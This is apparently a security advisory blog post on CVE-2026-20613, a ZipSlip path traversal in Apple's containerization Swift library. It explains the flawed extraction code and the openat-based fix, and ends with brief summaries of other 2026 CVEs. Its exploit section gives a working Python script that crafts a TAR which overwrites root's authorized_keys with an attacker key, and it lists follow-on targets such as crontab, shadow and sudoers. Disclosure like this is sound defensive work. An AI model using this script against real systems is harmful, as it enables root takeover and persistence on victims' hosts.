Jan 22, 2026·6 min read·56 visits
The `apple/containerization` library failed to sanitize file paths within archives before extraction. By crafting a TAR file with entries like `../../etc/passwd`, an attacker can overwrite host files during the image load process. The fix involved rewriting the extraction logic to use secure, file-descriptor-relative system calls (`openat`) instead of high-level path concatenation.
A critical ZipSlip vulnerability in Apple's containerization Swift package allows attackers to escape extraction roots and overwrite arbitrary system files via malicious archives.
In the world of secure software development, Swift is often lauded as the "safe" choice. Memory safety, type safety, and modern idioms usually keep the wolves at bay. But here’s the thing about safety: it doesn't protect you from logic errors, especially when you're dealing with the ancient, cursed art of file handling.
Enter apple/containerization, a Swift package designed to handle the heavy lifting of container image management. It’s the plumbing that moves bits from a compressed archive into a usable filesystem. It's the kind of code you assume is rock solid because, well, it's Apple. But under the hood, a classic vulnerability was lurking—one that has plagued file archivers since the 90s.
We're talking about ZipSlip. It's the vulnerability that refuses to die. The premise is simple: trust the input, extract the file, and don't check where it lands. CVE-2026-20613 isn't some complex heap feng shui; it's a failure to ask, "Hey, should this file really go there?" before writing bytes to disk. And because this library runs in contexts that often require elevated privileges (like unpacking container images), that little oversight turns into a critical hole in the system.
The vulnerability lived in Sources/ContainerizationArchive/ArchiveReader.swift, specifically within the extractContents() function. The logic was deceptively simple: iterate through the files in the archive, grab the path, append it to the destination directory, and write.
Here is the logic in a nutshell (and a coffin):
// The code that paved the road to hell
let target = directory.appending(path: entry.path)
try data.write(to: target)See the problem? The entry.path comes directly from the archive metadata. If I hand you a TAR file where a file is named library.dylib, it extracts to /tmp/extract/library.dylib. But if I hand you a TAR file where the name is ../../../../usr/lib/libevil.dylib, the code dutifully resolves that path. The FileManager (or URL struct) resolves the dot-dots, and suddenly /tmp/extract/ becomes /usr/lib/.
This is the digital equivalent of a mail carrier delivering a package addressed to "123 Main St / ../ ../ The Bank Vault". Instead of dropping it at the house, they shrug and walk into the vault. It is a complete bypass of the intended filesystem sandbox.
The fix for this is a masterclass in low-level POSIX programming within Swift. The developers realized that string manipulation for paths is fundamentally broken. You cannot sanitize strings reliably; you have to change how the operating system views the operation.
In commit 3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52, they threw out the high-level FileManager calls and dropped down to the *at family of system calls (openat, mkdirat, symlinkat).
Instead of saying "Write to /tmp/extract/file", the new logic says:
/tmp/extract/.openat(rootFD, "file", ...) to create the file relative to that FD.Here is a simplified view of the patch:
// The Fix: Using secure traversal logic
let fd = try FileDescriptor.open(path, ...)
// Verify we aren't following a symlink out of bounds
if (flags & O_NOFOLLOW) != 0 {
// secure logic
}They also implemented a manual path component validator (mkdirSecure) that explicitly rejects .. components and checks for symlinks at every step of the directory creation. This prevents Time-of-Check Time-of-Use (TOCTOU) attacks where an attacker might race to swap a directory with a symlink during extraction.
Exploiting this is trivially easy for anyone who knows how to script Python or use a hex editor. We don't need a compiler; we just need to craft a malformed TAR header.
Here is the attack chain:
apple/containerization to pull images (e.g., a CI/CD pipeline or a custom container runtime).import tarfile
import io
# The payload: An SSH key to overwrite the victim's authorized_keys
payload = b"ssh-rsa AAAAB3... attacker@evil.com"
# Create a TAR object
tar = tarfile.open("exploit.tar", "w")
# Create a TarInfo object with the malicious path
info = tarfile.TarInfo(name="../../../../root/.ssh/authorized_keys")
info.size = len(payload)
# Add to archive
tar.addfile(info, io.BytesIO(payload))
tar.close()extractContents(), it traverses up from the temporary extraction directory and overwrites the root SSH keys. The next time the attacker SSHs in, they are root.Why is this a CVSS 9.3? Because file write primitives, when unconstrained, are almost always equivalent to Remote Code Execution (RCE).
If the extraction process runs as root (common in container daemons):
/etc/crontab or systemd service units./etc/shadow or /etc/sudoers.Even if the process runs as a standard user, an attacker can overwrite ~/.zshrc, ~/.ssh/config, or any binary owned by that user. In a CI/CD environment, this could mean poisoning the build artifacts of an entire organization. It is a "Game Over" bug.
The immediate remediation is to update apple/containerization to the version containing commit 3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52 (Jan 15, 2026). If you are using swift-system as a dependency, ensure it is at least version 1.6.3.
For Developers:
Stop using string concatenation for paths. Just stop. If you are accepting a file from the user (upload, archive, etc.) and writing it to disk, you must validate the destination. Better yet, use the *at syscalls or high-level libraries that specifically claim protection against ZipSlip.
For Security Teams:
Scan your container registries. Tools like Trivy or Grype should be configured to inspect layer content for relative paths containing ... If you see a container layer trying to write to ../../etc/shadow, burn it with fire.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
apple/containerization Apple | < Jan 15 2026 | Commit 3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 9.3 (Critical) |
| Attack Vector | Network / Local (Archive) |
| Fix Commit | 3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52 |
| Impact | Arbitrary File Write / RCE |
| Language | Swift |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.